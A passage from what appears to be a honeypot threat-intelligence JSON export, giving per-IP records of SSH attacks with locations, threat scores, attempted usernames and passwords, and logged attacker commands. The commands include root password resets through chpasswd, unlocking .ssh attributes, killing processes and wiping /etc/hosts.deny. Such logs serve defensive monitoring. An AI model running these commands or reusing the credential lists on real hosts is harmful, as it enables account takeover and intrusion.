        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:00:58.438000+00:00",
        "last_seen_30d": "2026-05-25T15:01:09.729000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 47
      }
    },
    "58.229.253.119": {
      "attack_count": 212,
      "first_seen": "2026-05-24T01:18:18.066Z",
      "last_seen": "2026-05-24T02:13:03.271Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ruan",
        "builder",
        "kali",
        "platform",
        "sanket",
        "seafile",
        "sol",
        "ubuntu",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1qaz2WSX@",
        "Root1234!",
        "Wc123456",
        "Wj123456@",
        "Yf123456",
        "builder",
        "platform",
        "root123!",
        "ruan",
        "sanket@123",
        "seafile",
        "ubuntu2025",
        "x!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ui3UhGkixU7t\"|chpasswd|bash",
        "echo \"ruan\\nmrVvVNK3NV4r\\nmrVvVNK3NV4r\\n\"|passwd",
        "echo -e \"ruan\\nmrVvVNK3NV4r\\nmrVvVNK3NV4r\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangjin-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:18:18.066000+00:00",
        "last_seen_30d": "2026-05-24T02:14:09.181000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "118.250.2.66": {
      "attack_count": 204,
      "first_seen": "2026-05-22T10:02:07.445Z",
      "last_seen": "2026-05-22T20:19:33.561Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 315,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:02:07.445000+00:00",
        "last_seen_30d": "2026-05-22T20:23:30.189000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 111
      }
    },
    "1.238.106.229": {
      "attack_count": 195,
      "first_seen": "2026-05-14T20:16:47.260Z",
      "last_seen": "2026-05-28T17:59:49.461Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "user",
        "ivan",
        "portal",
        "solr",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Huawei@1234",
        "Hy123456",
        "Server1214!",
        "a",
        "a123456@",
        "fjbdfdjkdsfs541544",
        "ivan",
        "portal",
        "qwer123456!",
        "solr"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"a\\n5nhf4gwQWdEp\\n5nhf4gwQWdEp\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nnpiY66BrVhHA\\nnpiY66BrVhHA\\n\"|passwd",
        "echo -e \"a\\n5nhf4gwQWdEp\\n5nhf4gwQWdEp\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nnpiY66BrVhHA\\nnpiY66BrVhHA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 43.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.6,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T20:16:47.260000+00:00",
        "last_seen_30d": "2026-05-28T18:00:56.472000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 195,
        "Suricata": 36
      }
    },
    "123.31.164.177": {
      "attack_count": 161,
      "first_seen": "2026-05-29T21:26:38.314Z",
      "last_seen": "2026-05-29T21:54:50.508Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ty",
        "adminuser",
        "agent",
        "ftpuser",
        "sftptest",
        "staging",
        "wfp",
        "wireguard",
        "zenith"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W3e4r",
        "123",
        "1234",
        "12qw",
        "P@SSW0RD",
        "P@ssw0rd",
        "Qwe@123456789",
        "agent123!",
        "opengate",
        "qwe123456@",
        "sftptest",
        "staging123",
        "ty",
        "wfp",
        "zenith"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Mp0K1Gy646bZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:26:38.314000+00:00",
        "last_seen_30d": "2026-05-29T21:55:57.143000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 161,
        "Suricata": 44
      }
    },
    "192.109.200.219": {
      "attack_count": 158,
      "first_seen": "2026-05-09T09:44:08.668Z",
      "last_seen": "2026-05-17T12:16:35.245Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "lelw"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:44:08.668000+00:00",
        "last_seen_30d": "2026-05-17T12:17:44.199000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 98
      }
    },
    "208.87.243.51": {
      "attack_count": 144,
      "first_seen": "2026-05-12T01:16:18.385Z",
      "last_seen": "2026-05-30T12:34:46.280Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 48.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.3,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T01:16:18.385000+00:00",
        "last_seen_30d": "2026-05-30T12:35:48.645000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 72
      }
    },
    "59.91.36.252": {
      "attack_count": 136,
      "first_seen": "2026-05-22T10:05:48.737Z",
      "last_seen": "2026-05-22T20:32:19.292Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "N\u0101gaur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:05:48.737000+00:00",
        "last_seen_30d": "2026-05-22T20:33:21.435000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 68
      }
    },
    "185.156.73.233": {
      "attack_count": 122,
      "first_seen": "2026-05-30T00:04:26.744Z",
      "last_seen": "2026-05-31T22:00:13.783Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "test",
        "root",
        "admin",
        "support",
        "Sujan",
        "telecomadmin"
      ],
      "passwords_attempted": [
        "test",
        "abcd1234",
        "admin",
        "support",
        "",
        "1qaz2wsx",
        "admintelecom",
        "masGdokM1",
        "supportAtlanta"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.request",
        "cowrie.direct-tcpip.data",
        "cowrie.login.success"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T00:04:26.744000+00:00",
        "last_seen_30d": "2026-05-31T22:01:14.752000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 65
      }
    },
    "35.225.56.202": {
      "attack_count": 118,
      "first_seen": "2026-05-30T10:13:46.303Z",
      "last_seen": "2026-05-30T10:32:31.060Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "esuser",
        "vhserver"
      ],
      "passwords_attempted": [
        "!QAZxsw2#EDC",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@12345",
        "Linux123",
        "P@ssw0rd@123",
        "adminadminadmin",
        "changeme",
        "esuser",
        "qwer@1234",
        "root1234@",
        "vhserver"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:oK3F87S1Dmdi\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T10:13:46.303000+00:00",
        "last_seen_30d": "2026-05-30T10:33:35.189000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "201.71.173.44": {
      "attack_count": 116,
      "first_seen": "2026-05-20T18:28:25.016Z",
      "last_seen": "2026-05-21T02:41:05.142Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cuiab\u00e1",
      "asn": 28635,
      "as_org": "AVATO TECNOLOGIA S.A",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 174,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:28:25.016000+00:00",
        "last_seen_30d": "2026-05-21T02:42:06.460000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 58
      }
    },
    "62.210.36.194": {
      "attack_count": 114,
      "first_seen": "2026-05-08T07:08:50.480Z",
      "last_seen": "2026-05-31T09:17:33.516Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 53.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:08:50.480000+00:00",
        "last_seen_30d": "2026-05-31T09:18:41.735000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "208.87.243.125": {
      "attack_count": 78,
      "first_seen": "2026-05-05T00:31:43.970Z",
      "last_seen": "2026-05-31T16:50:15.068Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:31:43.970000+00:00",
        "last_seen_30d": "2026-05-31T16:51:22.419000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "45.90.105.6": {
      "attack_count": 66,
      "first_seen": "2026-05-03T16:17:59.533Z",
      "last_seen": "2026-05-31T19:44:58.725Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 209181,
      "as_org": "Zenex 5ive Limited",
      "threat_score": 55.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:17:59.533000+00:00",
        "last_seen_30d": "2026-05-31T19:46:07.919000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "198.20.127.155": {
      "attack_count": 60,
      "first_seen": "2026-05-05T01:17:37.404Z",
      "last_seen": "2026-05-27T03:46:38.947Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:17:37.404000+00:00",
        "last_seen_30d": "2026-05-27T03:47:48.595000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "42.51.33.162": {
      "attack_count": 54,
      "first_seen": "2026-05-23T03:33:36.522Z",
      "last_seen": "2026-05-23T04:16:43.461Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "ftpuser",
        "345gs5662d34",
        "admin",
        "jacob",
        "root"
      ],
      "passwords_attempted": [
        "1234321",
        "3245gs5662d34",
        "345gs5662d34",
        "admin1",
        "changeme",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "echo \"changeme\\neTkvGZBVqSAp\\neTkvGZBVqSAp\\n\"|passwd",
        "echo -e \"changeme\\neTkvGZBVqSAp\\neTkvGZBVqSAp\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 56005,
      "as_org": "Zhengzhou Fastidc Technology Co.,Ltd.",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:33:36.522000+00:00",
        "last_seen_30d": "2026-05-23T04:17:45.486000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 18
      }
    },
    "180.243.5.91": {
      "attack_count": 50,
      "first_seen": "2026-05-18T21:56:01.288Z",
      "last_seen": "2026-05-19T06:05:43.144Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "West Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:56:01.288000+00:00",
        "last_seen_30d": "2026-05-19T06:06:46.588000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 25
      }
    },
    "182.117.61.177": {
      "attack_count": 50,
      "first_seen": "2026-05-07T06:51:22.090Z",
      "last_seen": "2026-05-07T06:56:46.488Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:51:22.090000+00:00",
        "last_seen_30d": "2026-05-07T06:57:56.707000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.26.36": {
      "attack_count": 50,
      "first_seen": "2026-05-25T03:47:25.249Z",
      "last_seen": "2026-05-25T03:53:05.995Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:47:25.249000+00:00",
        "last_seen_30d": "2026-05-25T04:04:02.735000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.0.104": {
      "attack_count": 48,
      "first_seen": "2026-05-05T23:30:25.045Z",
      "last_seen": "2026-05-05T23:35:36.287Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:30:25.045000+00:00",
        "last_seen_30d": "2026-05-05T23:36:44.732000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "112.239.96.219": {
      "attack_count": 46,
      "first_seen": "2026-05-25T16:14:55.066Z",
      "last_seen": "2026-05-25T16:19:53.475Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T16:14:55.066000+00:00",
        "last_seen_30d": "2026-05-25T16:20:57.224000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "101.36.110.164": {
      "attack_count": 44,
      "first_seen": "2026-05-06T10:14:27.678Z",
      "last_seen": "2026-05-06T10:43:19.433Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "mysql",
        "ubuntu",
        "ftpuser",
        "mcuser",
        "user",
        "user3"
      ],
      "passwords_attempted": [
        "111",
